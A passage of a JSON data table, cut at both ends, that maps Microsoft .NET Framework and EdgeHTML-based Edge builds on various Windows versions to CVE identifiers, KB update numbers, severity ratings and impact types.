4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows RT 8.1":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012":[{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012 R2":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.7 on Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038788","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.7 on Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038788","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532933","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578969","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532933","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578969","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532935","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578971","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532935","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578971","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532936","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578972","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532936","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578972","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows RT 8.1":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2012":[{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2012 R2":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2016":[{"cve":"CVE-2020-0646","kb":"4532933","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578969","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4532933","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578969","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server, version 1803 (Server Core Installation)":[{"cve":"CVE-2020-0646","kb":"4532936","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578972","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2016-3351","kb":"3185614","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7200","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048952","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025344","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056888","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088779","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088779","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093109","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2016-3351","kb":"3185614","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7200","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048952","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025344","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056888","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088779","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088779","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093109","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2016-3351","kb":"3189866","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11764","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8496","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025339","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8731","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056890","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088787","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088787","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093119","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471321","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480961","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480961","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2016-3351","kb":"3189866","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11764","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8496","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025339","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8731","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056890","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088787","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088787","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093119","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471321","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480961","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480961","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-11764","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025342","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8634","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8729","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8740","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8751","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056891","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103731","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343885","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471327","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480973","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-11764","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053580","severity":"Critical","impact":"Remote Code 